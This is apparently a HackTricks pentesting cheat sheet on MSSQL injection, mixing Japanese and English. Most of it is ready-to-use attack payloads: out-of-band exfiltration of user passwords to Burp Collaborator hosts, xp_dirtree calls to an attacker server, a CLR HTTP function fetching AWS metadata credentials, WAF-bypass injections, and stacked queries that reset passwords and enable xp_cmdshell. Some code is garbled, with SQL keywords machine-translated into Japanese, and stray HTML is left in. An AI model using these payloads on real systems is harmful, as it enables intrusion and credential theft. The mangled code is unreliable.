MSSQL Injection

Reading time: 12 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Active Directory enumeration

SQLインジェクションを使用してMSSQLサーバー内のドメインユーザーを列挙することが可能です。以下のMSSQL関数を使用します:

  • SELECT DEFAULT_DOMAIN(): 現在のドメイン名を取得します。
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): ドメイン名(この例では_DOMAIN_)がわかっている場合、この関数はユーザーAdministratorのSIDを16進数形式で返します。これは0x01050000000[...]0000f401のように見え、最後の4バイトビッグエンディアン形式の500という数値であり、これはユーザーadministratorの共通IDです。
    この関数を使用すると、ドメインのIDを知ることができます(最後の4バイトを除くすべてのバイト)。
  • SUSER_SNAME(0x01050000000[...]0000e803) : この関数は指定されたIDのユーザー名を返します(存在する場合)、この場合0000e803はビッグエンディアンで== 1000(通常、これは最初に作成された通常のユーザーIDのIDです)。次に、1000から2000までのユーザーIDをブルートフォースして、ドメインのすべてのユーザー名を取得できると想像できます。例えば、次のような関数を使用して:
python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

代替エラーベースのベクター

エラーベースのSQLインジェクションは、通常、+AND+1=@@version--のような構文や「OR」演算子に基づくバリエーションに似ています。このような式を含むクエリは、通常WAFによってブロックされます。バイパスとして、%2b文字を使用して、求められるデータに対してデータ型変換エラーを引き起こす特定の関数呼び出しの結果と文字列を連結します。

このような関数のいくつかの例:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

関数USER_NAME()の使用例:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

これらのSSRFトリックはこちらから取得されました

fn_xe_file_target_read_file

サーバー上で**VIEW SERVER STATE**権限が必要です。

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

CONTROL SERVER 権限が必要です。

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

CONTROL SERVER 権限が必要です。

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtreeのようなストアドプロシージャは、Microsoftによって公式に文書化されていないものの、MSSQL内でのネットワーク操作における有用性から、他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな投稿で示されているように、アウトオブバンドデータの抽出にしばしば使用されます。

例えば、xp_dirtreeストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみに制限されています。ポート番号は変更できませんが、ネットワーク共有からの読み取りを許可します。使用法は以下のSQLスクリプトで示されています:

sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

この方法は、デフォルト設定の Windows Server 2016 Datacenter 上で動作する Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) のようなすべてのシステム構成で機能しない可能性があることに注意が必要です。

さらに、同様の結果を得るために使用できる master..xp_fileexistxp_subdirs のような代替ストアドプロシージャもあります。 xp_fileexist に関する詳細は、この TechNet article で確認できます。

xp_cmdshell

明らかに、xp_cmdshell を使用して SSRF を引き起こす何かを 実行 することもできます。詳細については、ページの 関連セクションを読む

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

CLR UDF (Common Language Runtime User Defined Function) を作成することは、任意の .NET 言語で作成され、DLL にコンパイルされ、MSSQL 内でカスタム関数を実行するためにロードされるコードを必要とするプロセスであり、dbo アクセスが必要です。これは通常、データベース接続が sa または管理者ロールで行われる場合にのみ実行可能です。

バイナリを CLR アセンブリとして MSSQL にロードするための Visual Studio プロジェクトとインストール手順は、この Github repository に提供されており、これにより MSSQL 内から HTTP GET リクエストを実行できるようになります。

この機能の核心は http.cs ファイルにカプセル化されており、WebClient クラスを使用して GET リクエストを実行し、以下のようにコンテンツを取得します:

csharp
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することをお勧めします(select * from sys.trusted_assemblies;で表示可能):

sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

アセンブリを正常に追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます:

sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

クイックエクスプロイト: 単一クエリでテーブル全体の内容を取得する

Trick from here.

テーブルの全内容を単一クエリで抽出するための簡潔な方法は、FOR JSON句を利用することです。このアプローチは、特定のモード(例えば「raw」)を必要とするFOR XML句を使用するよりも簡潔です。FOR JSON句はその簡潔さから好まれます。

現在のデータベースからスキーマ、テーブル、およびカラムを取得する方法は次のとおりです:

`sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

WAF Bypass with unorthodox stacked queries

According to this blog post it's possible to stack queries in MSSQL without using ";":

SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

使用 [tempdb]
テーブル [test] を作成する ([id] int)
[test] に値を挿入する (1)
[test] から [id] を選択する
テーブル [test] を削除する

Can be reduced to:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# 無駄な exec() を最後に追加し、WAF にこれが有効なクエリではないと思わせる
admina'union select 1,'admin','testtest123'exec('select 1')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# 奇妙に構築されたクエリを使用する
admin'exec('update[users]set[password]=''a''')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# または xp_cmdshell を有効にする
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## これは次のようになります
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--